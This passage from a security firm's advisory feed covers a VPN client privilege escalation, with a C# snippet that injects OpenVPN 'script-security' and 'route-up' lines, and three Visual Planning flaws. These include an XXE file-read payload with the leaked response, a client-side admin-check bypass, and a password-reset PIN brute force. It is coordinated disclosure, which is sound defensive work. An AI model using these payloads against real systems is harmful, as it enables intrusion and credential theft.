A company notebook device assessed by SCHUTZWERK for security vulnerabilities was found to contain a local privilege escalation vulnerability in the custom VPN client.
The VPN client, which is part of Secadm GmbH consulting portfolio (Home-Office und Remote Arbeitsplätze)[3], is a convenience software based on OpenVPN which, among other things, automatically detects and connects to the best VPN endpoint based on quality measurements.
The software uses an OpenVPN deamon embedded within saConnectService to establish the connection which is installed as a Windows service.
Through reverse engineering of the .NET based applications saConnect and saConnectService, SCHUTZWERK discovered the .NET Remoting IPC[0] interface which is used to communicate between these two applications.
Understanding the IPC communication
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
It showed that saConnect calls the remote functions SetOpenVPNEndpoints and StartOpenVPNServer on the saConnectService via a .NET remoting IPC channel, to configure and start the OpenVPN connection.
Thereby, SetOpenVPNEndpoints writes a configuration string in a file endpoints.conf which is only accessible by higher privileged users.
As seen below, the &amp;#34;endpoints.conf&amp;#34; is used as an additional configuration file (&amp;#39;--config&amp;#39; flag of the OpenVPN command line[4]) in the main OpenVPN configuration file, used by the OpenVPN deamon.
ProxyVPN.conf (main OpenVPN configuration file):
[...]
# remote VPN Server IP / Data
config endpoints.conf
[...]
The intended use of SetOpenVPNEndpoints is to set the best OpenVPN endpoint as a connection target which was evaluated via connection quality measurements within saConnect.
SCHUTZWERK discovered that the configuration string which is sent to SetOpenVPNEndpoints as a parameter is written into the file endpoints.conf without modification or filtering. This allows to set arbitrary configuration parameters that are applied to the main OpenVPN configuration file.
Manipulating the OpenVPN configuration
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
By adding two configuration lines (script-security, route-up)[4] that allow calling user-defined scripts it is possible to configure a batch script that executes after successful authentication during the VPN connection.
Through that, code execution in the context of saConnectService can be achieved, if the OpenVPN connection successfully connects to the remote endpoint using the manipulated endpoints.conf.
POC implementation that writes to the endpoints.conf file:
[...]
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendLine(&amp;#34;remote &amp;lt;redacted-ip&amp;gt; 445 udp&amp;#34;);
stringBuilder.AppendLine(&amp;#34;cryptoapicert &amp;#39;THUMB:&amp;lt;Thumbprint of the certificate in the Windows Certificate System Store&amp;gt;&amp;#39;&amp;#34;);
// configuration lines that enable code execution
stringBuilder.AppendLine(&amp;#34;script-security 2&amp;#34;);
stringBuilder.AppendLine(&amp;#34;route-up &amp;#39;C:\\\\tmp\\\\exec.bat&amp;#39;&amp;#34;);
ServiceWrapper.getService().SetOpenVPNEndpoints(stringBuilder.ToString());
[...]
The saConnect application overrides the endpoints.conf file on each connection. To execute the code, a POC application must be developed that performs the steps required to successfully launch the VPN connection.
Path to a one-click PoC exploit
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
In order to establish a connection, the POC application first needs to call the StartOpenVPNServer function on saConnectService to start the embedded OpenVPN deamon. Additionally, because the main OpenVPN configuration configured the management-hold[4] flag, which starts OpenVPN in a hibernating state, the PoC needs to call &amp;#39;hold release&amp;#39; on the OpenVPN management interface[5].
This tells the OpenVPN deamon to start the connection.
As configured in ProxyVPN.conf, the OpenVPN management interface is configured to listen on localhost port 19334 which requires a password to communicate with.
ProxyVPN.conf (main OpenVPN configuration file):
[...]
# Start OpenVPN in a hibernating state, until a client
# of the management interface explicitly starts it.
management-hold
# Enable a TCP server on ip:port to handle
# management functions. pass is a password file
# or &amp;#39;stdin&amp;#39; to prompt from console.
;management ip port [pass]
management 127.0.0.1 19334 sa/mgmt-pass.txt
[...]
The password used to authenticate against the OpenVPN management interface was found to be statically compiled into the saConnect binary. This allows to authenticate to the management interface and issue the required &amp;#39;hold release&amp;#39; command.
With the ability to write arbitrary configuration flags into the endpoints.conf file and to control the OpenVPN management interface, a one-click C# PoC can be created to exploit this vulnerability.
Solution/Mitigation
===================
The vulnerability can be mitigated by introducting a whitelist that limits the configuration parameters passed to the SetOpenVPNEndpoints call in the IPC interface to the ones that are actually needed. This will exclude the configuration parameters (route-up, route-down up, down, script-security...)[4] that can be used to execute scripts in the context of the saConnectService.
Since Secadm GmbH (now enthus) did not provide a version number of the fixed version, please contact entus [6] if you are unsure that you are using the version containing the fix.
Disclosure timeline
===================
2023-05-24: Vulnerability discovered
2023-05-30: Request to the customer to find a contact person at the manufacturer
2023-06-11: Initial contact with manufacturer via customer contact person
2023-06-15: Reply from the manufacturer with a request for more information
2023-06-16: Provision of technical information to trace the security vulnerability
2023-06-26: Inquire with the manufacturer about the current status and plan for patch release
2023-06-28: Bug has been fixed and new version created. Preparation for rollout plan underway
2023-09-14: Contact the manufacturer to find out the status of the customer&amp;#39;s patch rollout
2023-09-23: Reply from the customer that rollout completion is planned by the end of September 2023
2023-11-29: Customer informed that rollout of the patch is completed
2024-07-01: Advisory released
Contact/Credits
===============
The vulnerability was discovered during an assessment by Marvin Louis and Moritz Öhrlein of SCHUTZWERK GmbH.
References
==========
[0] https://learn.microsoft.com/de-de/dotnet/api/system.runtime.remoting.channels.ipc?view=netframework-4.8.1
[1] https://github.com/dnSpy/dnSpy
[2] https://www.jetbrains.com/de-de/decompiler/
[3] https://secadm.de/consulting.html
[4] https://openvpn.net/community-resources/reference-manual-for-openvpn-2-4/
[5] https://openvpn.net/community-resources/management-interface/
[6] https://enthus.de/
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmaCwZgaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrtHog//bq4xaLODG1weyxdjQTsU
P7jPoh0Xgr5goYXQXC5yF8hp7ynPeCqPtCoC+FeDTYDXvpeFenZJRT59ts69TzGY
+fKd/mcxi0T88c+veZilwX+bBzN7UhDvOpnwPjmXG8j6E1Zj05U6VRCgHKxQyyjX
nwr1KhLESgvPkLV8QSkgQb6vzQvoqEMK2Ync0WD895aeH7ZMKLTV04b1LzEMt3UV
4+oVgiL7crG55aRHYYPwgVtluXLanP03QCAORgM/5Wf4WSrvkqlE7PiBpyYI2J6z
+tKBaoIXNXXhfvzeCiyoUTEPDZ21ynXu0LyhiXtJ0wt+U9SKVCAOx3Iw5HP7O0hj
ZlTrtg0waW0SvKMvffvSqjGzJTORtfqjsgPyvkI+4AA4ZKB91jqxdU2dxZxqIhq8
2Y+OVbnGccu2n/Xlf8a8yeRhNPLroJJveO2RlUZ76/au1WEdOmd/hLmkXsWDptAk
8pCCHCE/K8ttXZhxam+xCojpU5Nw5LTAtCxCau0asbEe6NBIOYTTimetaj/Cwxc8
vavxj46yjIoGcePwthdWWqiPp382/rXDCyzAgb8IPvKjK0KC+dykUYISetTxwnQl
iuk6JXNXRJHJCcUTvz7JCQQEh13TdC3jFU+sftTser3VgpK8pdwQbMCytLKNC6Tk
O9PIHbbwpptP4k6VyWkbYys=
=KzSk
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>SCHUTZWERK IS SPONSORING ELBSIDES 2024</title><link>https://www.schutzwerk.com/en/blog/elbsides-conference-2024/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 12 Jun 2024 13:00:00 +0100</pubDate><category>event</category><category>sponsor</category><category>news</category><description>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.elbsides.eu/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Elbsides&lt;/span>
&lt;/a>&lt;a
href="https://www.elbsides.eu/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2024&lt;/span>
&lt;/a>&lt;a
href="https://www.elbsides.eu/2024/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Conference&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
will take place in Hamburg on 13 September 2024. We are happy to be a sponsor again. After last year&amp;rsquo;s successful Elbsides Light Conference, this year&amp;rsquo;s conference from the BSides series will once again be a full-day event.&lt;/p>
&lt;p>The Security BSides are organised by the security experts to bring the IT security community together. We are looking forward to exciting presentations and a good personal exchange on site.&lt;/p></description></item><item><title>Advisory: Arbitrary File Read via XML External Entities in Visual Planning (CVE-2023-49234)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2023-006/</link><author>Lennert Preuth, David Brown</author><pubDate>Thu, 28 Mar 2024 14:03:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-006: Arbitrary File Read via XML External Entities in Visual Planning
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-49234
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-006/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-006.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
Authenticated attackers can exploit a weakness in the XML parser functionality of the Visual Planning[0] application in order to obtain read access to arbitrary files on the application server. Depending on configured access permissions, this vulnerability could be used by an attacker to exfiltrate secrets stored on the local file system.
Risk
====
An attacker can use the vulnerability to gather information and depending on the stored data, exfiltrate secrets from the file system. Furthermore, HTTP requests can be used for out-of-bands exfiltration and possibly server side request forgery (SSRF) attacks.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an arbitrary file read vulnerability via XML external entities in Visual Planning.
The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server.
One of the messages sent by the Admin Center application after authentication is the following:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.parameters.GetApplicationProperty&amp;gt;
&amp;lt;defaultValue&amp;gt;
&amp;lt;/defaultValue&amp;gt;
&amp;lt;propertyName&amp;gt;PWD&amp;lt;/propertyName&amp;gt;
&amp;lt;rawResult&amp;gt;false&amp;lt;/rawResult&amp;gt;
&amp;lt;section&amp;gt;INSTALLDATA&amp;lt;/section&amp;gt;
&amp;lt;userSession isNull=&amp;#34;true&amp;#34;/&amp;gt;
&amp;lt;/com.visualplanning.query.parameters.GetApplicationProperty&amp;gt;
The method GetApplicationProperty is called to request the value of the property PWD. The server responds with an XML message, where the value element contains the response of the query:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.result.ApplicationPropertyResult&amp;gt;
&amp;lt;resultValues/&amp;gt;
&amp;lt;status&amp;gt;OK&amp;lt;/status&amp;gt;
&amp;lt;value&amp;gt;
&amp;lt;/value&amp;gt;
&amp;lt;/com.visualplanning.query.result.ApplicationPropertyResult&amp;gt;
In this response it was observed that if the requested property value could not be resolved, the content of the request element defaultValue will be reflected as part of the response, making it a suitable back channel for XML external entity (XXE) injections.
The following message was sent to the Visual Planning application:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &amp;#34;C:\xampp2\tomcat\webapps\vplanning\configuration\install.properties&amp;#34;&amp;gt; ]&amp;gt;
&amp;lt;com.visualplanning.query.parameters.GetApplicationProperty&amp;gt;
&amp;lt;defaultValue&amp;gt;&amp;amp;example;&amp;lt;/defaultValue&amp;gt;
&amp;lt;propertyName&amp;gt;ShowBackground&amp;lt;/propertyName&amp;gt;
&amp;lt;rawResult&amp;gt;false&amp;lt;/rawResult&amp;gt;
&amp;lt;section&amp;gt;Application&amp;lt;/section&amp;gt;
&amp;lt;userSession isNull=&amp;#34;true&amp;#34;/&amp;gt;
&amp;lt;/com.visualplanning.query.parameters.GetApplicationProperty&amp;gt;
The server responds with the content of the requested install.properties file inside the value element, thus confirming the XML parser is vulnerable to XML external entity (XXE) injections:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.result.ApplicationPropertyResult&amp;gt;
&amp;lt;resultValues/&amp;gt;
&amp;lt;status&amp;gt;OK&amp;lt;/status&amp;gt;
&amp;lt;value&amp;gt;#
#Tue Oct 03 15:37:33 CEST 2023
INSTALLDATA.INSTALLSERIAL=
INSTALLDATA.INSTALLURL=http\://127.0.0.1\:8080/vplanning
INSTALLDATA.OK=Next
INSTALLDATA.PAGE=PROVIDER
INSTALLDATA.POOLMODE=1
INSTALLDATA.PORT=3306
INSTALLDATA.PROVIDERTYPE=MySQL
INSTALLDATA.PWD=ENCODE\:
INSTALLDATA.SERVER=127.0.0.1
INSTALLDATA.SERVERLANG=de
INSTALLDATA.USER=root
INSTALLDATA.VIEWERSERIAL=
&amp;lt;/value&amp;gt;
&amp;lt;/com.visualplanning.query.result.ApplicationPropertyResult&amp;gt;
Further testing showed that out-of-bands exfiltration via HTTPS requests is also generally possible.
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH.
References
==========
[0] https://www.visual-planning.com/en/
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmYF0bcaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrsdwA/+MyfbZTe36+AYi9q6GJE6
S75Xm2aZtEM3NC5F6aMcELqFEW7LNjERmBoqfkHe+SWfgFxeCXl/XelHaNnR7HTM
ZZPCGwJmOI+XaraInPVdCDw1QVIdiCG4VZzE0tlnFbLBgM+OTOxcDOoG7OhzP6mm
ALfankzxu3AfbZhwebQtSXIQ+YqjitTsvjQGPleylqYK5CJbChsyvmMjomu/GzdO
sWQ25ODCVUy6VORet8yn5OkQnM2CjSkteuTdNxCzd6JUB+vQ0g5FCE5NVzkqYq21
YJ4Fc3PgkyAnrGefSbueL+Z/K6btM8RysJAwGahIEOdlkG8W/p09L0QQUGERT2VN
UO6oTi/1OyoJBV9L5umr6aHss3P92ln90UAUW2dlZOdGSB8rlXisxLC1wtFZAXH9
YwiGY/ACXmV1FtQQpgFxfNRyEWaltU5S0Y0bPAaW+ABSMLlK4X0Ft9E/4s4Yel2d
TGngEnVKcR/PKNtrJbBqPDwt98R0MdQi0QxBRaxGxAg4Yr1qex8ph6IRT7bDTm0/
1CKlQL7y9uvXlnFE4CO3IkKNp0ejKn3A7QEep4jit07VItIc+sRsoMnB6v54DoML
ZfIisDoijb3doTNieyMpgTGZTDWLwLO36IS9JiqafNCAnngExqylFX6vYQVggtRz
mZ2yA2/9ZfQwOawEirQtQr8=
=TUGM
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Advisory: Insufficient Access Controls in Visual Planning</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2023-005/</link><author>Lennert Preuth, David Brown</author><pubDate>Thu, 28 Mar 2024 14:02:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-005: Insufficient Access Controls in Visual Planning
Status
======
PUBLISHED
Version
=======
1.1
CVE reference
=============
CVE-2023-49233
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-005/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-005.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
Insufficient access checks in Admin Center allow attackers in possession of a non-administrative Visual Planning account to utilize functions normally reserved for administrators. The affected functions allow attackers to obtain different types of configured credentials and potentially elevate their privileges to administrator level.
Risk
====
Due to lack of access controls attackers in control of non-administrative user accounts are able to perform at least the following actions via the GUI:
- - access and modify modules
- - access and modify services
- - access and modify WebService administrator API key
- - access and modify LDAP settings
- - access and modify document storage settings
- - export and import management data
- - execute SQL queries against the configured database
- - access and modify planners
If the corresponding requests are known, the functions can be directly called via the respective API calls.
The ability to access LDAP and document storage settings allows attackers to obtain configured LDAP, Dropbox, OneDrive and Google Drive credentials. Importing management data likely allows attackers to overwrite passwords and add new users (potentially including administrators).
Credentials can be obtained through the vulnerability described in SCHUTZWERK-SA-2023-004/CVE-2023-49232.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found insufficient access checks in Visual Planning&amp;#39;s Admin Center.
The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server.
When performing a login in Admin Center, the message similar to the following is sent to the server:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.NamedMethodParameter&amp;gt;
&amp;lt;methodName&amp;gt;validateUserLogin&amp;lt;/methodName&amp;gt;
&amp;lt;rawResult&amp;gt;false&amp;lt;/rawResult&amp;gt;
&amp;lt;userSession isNull=&amp;#34;true&amp;#34;/&amp;gt;
&amp;lt;values&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;passwd&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;String&amp;#34;&amp;gt;Passw0rd!&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;login&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;String&amp;#34;&amp;gt;test4&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;adminMode&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;java.lang.Boolean&amp;#34;&amp;gt;true&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;/values&amp;gt;
&amp;lt;/com.visualplanning.query.NamedMethodParameter&amp;gt;
If the provided credentials are valid, the server will respond with a VPUser data structure containing information about the user:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.result.PersistentDataLoadResult&amp;gt;
&amp;lt;datas&amp;gt;
&amp;lt;com.visualplanning.data.admin.VPUser&amp;gt;
&amp;lt;ID&amp;gt;6&amp;lt;/ID&amp;gt;
&amp;lt;UID&amp;gt;79C4-9F31-FD34-4E52-0EF1-501D-7789-FA77&amp;lt;/UID&amp;gt;
&amp;lt;activated&amp;gt;true&amp;lt;/activated&amp;gt;
&amp;lt;comments&amp;gt;&amp;lt;/comments&amp;gt;
&amp;lt;email&amp;gt;&amp;lt;/email&amp;gt;
&amp;lt;expiredPasswd&amp;gt;false&amp;lt;/expiredPasswd&amp;gt;
&amp;lt;groups/&amp;gt;
&amp;lt;imageProfilBase64&amp;gt;&amp;lt;/imageProfilBase64&amp;gt;
&amp;lt;ldapSetting&amp;gt;
&amp;lt;entityID&amp;gt;-1&amp;lt;/entityID&amp;gt;
&amp;lt;/ldapSetting&amp;gt;
&amp;lt;licenses/&amp;gt;
&amp;lt;loginAttemps&amp;gt;0&amp;lt;/loginAttemps&amp;gt;
&amp;lt;mobilePhoneNumber&amp;gt;&amp;lt;/mobilePhoneNumber&amp;gt;
&amp;lt;name&amp;gt;test4&amp;lt;/name&amp;gt;
&amp;lt;ownerID&amp;gt;0&amp;lt;/ownerID&amp;gt;
&amp;lt;phoneNumber&amp;gt;&amp;lt;/phoneNumber&amp;gt;
&amp;lt;platform&amp;gt;VP&amp;lt;/platform&amp;gt;
&amp;lt;resetPasswd&amp;gt;false&amp;lt;/resetPasswd&amp;gt;
&amp;lt;resourceUser&amp;gt;false&amp;lt;/resourceUser&amp;gt;
&amp;lt;/com.visualplanning.data.admin.VPUser&amp;gt;
&amp;lt;/datas&amp;gt;
&amp;lt;histories/&amp;gt;
&amp;lt;resultValues/&amp;gt;
&amp;lt;status&amp;gt;OK&amp;lt;/status&amp;gt;
&amp;lt;/com.visualplanning.query.result.PersistentDataLoadResult&amp;gt;
At this point, if the user is not an administrator, the Admin Center displays the message &amp;#34;Unauthorized user or already connected&amp;#34;.
It was, however, discovered, that the corresponding checks to determine whether a user is authorized to access the Admin Console take place on the client-side. Modifying the ID contained in the &amp;lt;ID&amp;gt; field of the response to &amp;#34;1&amp;#34; allows the login to progress further and causes a mostly complete UI to be loaded. Due to missing server-side permission checks the functions of the Admin Console can subsequently be used by the unauthorized user.
Solution/Mitigation
===================
The vendor suggests to update to Visual Planning 8 (Build 240207)
Disclosure timeline
===================
2023-11-01: Vulnerability discovered
2023-11-09: Contact vendor in order to determine security contact
2023-11-10: Received generic sales response from vendor
2023-11-14: Contacted CTO of vendor directly
2023-11-16: Vulnerabilities demonstrated in call with contact at vendor
2023-11-24: CVE assigned by Mitre
2023-11-24: Additional technical details provided to vendor
2023-12-19: Vendor informed SCHUTZWERK that work on fixing the findings is in progress
2024-01-30: Inquired about mitigation status regarding the reported vulnerabilities
2024-01-30: Vendor informed SCHUTZWERK that some of the issues were already fixed
2024-03-08: Sent advisory drafts to vendor
2024-03-28: Received patch information and release of advisory
Contact/Credits
===============
The vulnerability was discovered during an assessment by Lennert Preuth and David Brown of SCHUTZWERK GmbH.
References
==========
[1] https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html
Disclaimer
==========
The information provided in this security advisory is provided &amp;#34;as is&amp;#34; and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The most recent version of this security advisory can be found at SCHUTZWERK GmbH&amp;#39;s website ( https://www.schutzwerk.com ).
Additional information
======================
SCHUTZWERK Advisories: https://www.schutzwerk.com/blog/tags/advisories/
SCHUTZWERK Advisory Policy: https://www.schutzwerk.com/en/advisories/
-----BEGIN PGP SIGNATURE-----
iQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmbWzaIaHGFkdmlzb3Jp
ZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrvOsBAAteYsWLXH4c3uYw3n+Zgt
fgMrGFEbAwZpSEGoFf4DFmChk/hgyKkQrz2rnqtYXv/YuULvMzCLBAh+s4g0aIei
Zkr3FvIjPzkGXJzp+tXpUcsUOu3zB8s9qNSgDW3ybIPMqRTJYbyl7Hz3nJlPWx64
rplOaK0i6+aMizOQ6cvQk/9XE6gHZjyf+A1aJcY5L6U9zjj57YNX2WT+I4/us8LT
bEi6DU3A0MJ5gVGf78CipUcDywTGzTgnsph3zWR7vLA9qXfNVqXMVq3OHPGRp2sp
/Kjp5bBnprCUh9EabIpzw925oXEY6ccZQeJmAa4sGYZZDIPEMaPuj0QBo7DEwT4w
ijP+5CCSQogOQt0S1eyg16WIOHi1//G2n0JIfvkk7LgQjMNyUsfZlIjVf8N7pS8J
WEFlVPg1mFSZLxM/dj/b9R89bIAAIxpBdeRGVkDS9V01CaoNA6mydLuV/zhrAznW
eOXJaRfcLXk4iOv3j9ogSnUZwbx11fL91W+WSWw7zzgkYtGi2ncuh9hEnYYccUs+
5OB2yHJ8uX1j3Hc1Tt18zTweY5lBYf9/b+HwH98lzNFZipWngo5gY0VGZN+7mpX7
n3+nMUKJAFKa65yv2Y3DHO6lpZaaNH91I8Vxrz0m6kZHGOVuCtg6WOI/+f5sIZXJ
H/zr65uZoj2YjXf8cWuC4gU=
=p8j9
-----END PGP SIGNATURE-----
&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Advisory: Authentication Bypass via Password Reset Functionality in Visual Planning (CVE-2023-49232)</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sa-2023-004/</link><author>Lennert Preuth, David Brown</author><pubDate>Thu, 28 Mar 2024 14:01:00 +0200</pubDate><category>advisories</category><description>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Title
=====
SCHUTZWERK-SA-2023-004: Authentication Bypass via Password Reset Functionality in Visual Planning
Status
======
PUBLISHED
Version
=======
1.0
CVE reference
=============
CVE-2023-49232
Link
====
https://www.schutzwerk.com/advisories/schutzwerk-sa-2023-004/
Text-only version:
https://www.schutzwerk.com/advisories/SCHUTZWERK-SA-2023-004.txt
Affected products/vendor
========================
All versions prior to Visual Planning 8 (Build 240207) by STILOG I.S.T.
Summary
=======
Unauthenticated attackers can exploit a weakness in the password reset functionality of the Visual Planning[0] application in order to obtain access to arbitrary user accounts including administrators. In case administrative (in the context of Visual Planning) accounts are compromised, attackers can install malicious modules into the application to take over the application server hosting the Visual Planning application.
Risk
====
The application does not impose any limits on the number of guesses that can be made. Attackers can therefore initiate the reset for arbitrary users and automate the pin validation process until a valid pin is obtained. The vulnerability allows unauthenticated attackers to gain access to arbitrary user accounts including administrators.
Failed pin validation attempts are not logged by the application which greatly increases the difficulty of detecting ongoing attacks.
With administrative access to Admin Center, attackers can install malicious modules containing Java code that is executed on the application server, resulting in arbitrary command execution.
The entire pin space can be enumerated in approximately one to two hours.
Description
===========
During a recent red teaming assessment, Visual Planning was identified as part of the customers internet-facing assets. The software is developed by STILOG I.S.T. and provides resource management and scheduling features. A security assessment conducted by SCHUTZWERK found an authentication bypass in Visual Planning&amp;#39;s password reset functionality.
The application Admin Center (vpadmin) communicates with the server through an XML-based protocol that utilizes proprietary compression methods and is transmitted via HTTP. SCHUTZWERK implemented a custom proxy as part of an assessment in order to intercept and manipulate the messages exchanged between application and server.
One of the first messages sent by the Admin Center application after launch is the following:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.NamedMethodParameter&amp;gt;
&amp;lt;methodName&amp;gt;canResetPassword&amp;lt;/methodName&amp;gt;
&amp;lt;rawResult&amp;gt;false&amp;lt;/rawResult&amp;gt;
&amp;lt;userSession isNull=&amp;#34;true&amp;#34;/&amp;gt;
&amp;lt;values/&amp;gt;
&amp;lt;/com.visualplanning.query.NamedMethodParameter&amp;gt;
In this request, the client asks the server whether it should display the &amp;#34;Forgot your password ?&amp;#34; button as part of the login form. During the assessment, the server responded as follows:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.QueryResult&amp;gt;
&amp;lt;resultValues&amp;gt;
&amp;lt;HashtableValue&amp;gt;
&amp;lt;key&amp;gt;resetPassword&amp;lt;/key&amp;gt;
&amp;lt;value class=&amp;#34;java.lang.Boolean&amp;#34;&amp;gt;false&amp;lt;/value&amp;gt;
&amp;lt;/HashtableValue&amp;gt;
&amp;lt;/resultValues&amp;gt;
&amp;lt;status&amp;gt;OK&amp;lt;/status&amp;gt;
&amp;lt;/com.visualplanning.query.QueryResult&amp;gt;
By altering the value to &amp;#34;true&amp;#34;, the password reset functionality becomes accessible in the application. At this point, attackers can provide the target username. This causes a request similar to the following to be issued:
&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&amp;lt;com.visualplanning.query.NamedMethodParameter&amp;gt;
&amp;lt;methodName&amp;gt;sendResetPasswwd&amp;lt;/methodName&amp;gt;
&amp;lt;rawResult&amp;gt;false&amp;lt;/rawResult&amp;gt;
